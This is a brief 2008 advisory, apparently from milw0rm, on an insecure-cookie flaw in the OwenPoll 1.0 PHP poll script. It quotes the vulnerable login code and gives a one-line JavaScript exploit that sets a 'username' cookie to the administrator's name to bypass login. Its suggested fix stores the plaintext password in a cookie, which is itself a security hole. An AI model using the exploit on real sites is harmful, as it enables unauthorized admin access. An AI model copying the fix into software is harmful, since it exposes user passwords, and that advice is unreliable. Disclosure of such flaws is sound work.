OwenPoll 1.0 Insecure Cookie Handling Vulnerability

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[0x01] Informations:

Script         : OwenPoll 1.0
Download       : http://www.hotscripts.com/jump.php?listing_id=75178&jump_type=1
Vulnerability  : Insecure Cookie Handling
Author         : Osirys
Contact        : osirys[at]live[dot]it
Website        : http://osirys.org
Notes          : Proud to be Italian
Greets:        : x0r, emgent, Jay, str0ke, Todd and AlpHaNiX


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[0x02] Bug: [Insecure Cookie Handling]
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Bugged file is: /[path]/checkloginmini.php

[CODE]

    if (($loggedinname == $adminusername) AND ($loggedinpass == $adminpass)){
        // authentication was successful
        // create session and set cookie with username
        session_start();
        $_SESSION['auth'] = 1;
     
        setcookie("username", $_POST['txtusername'], time()+(86400*30));

[/CODE]

If we log in correctly, a cookie is set with name "username" and as content the username name.

[!] FIX: Set as content username's password.

[CODE] setcookie("username", $_POST['txtpassword'], time()+(86400*30)); [/CODE]


[!] EXPLOIT: javascript:document.cookie = "username=admin_username; path=/";
             *admin_username is the nick of the administrator

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# milw0rm.com [2008-12-28]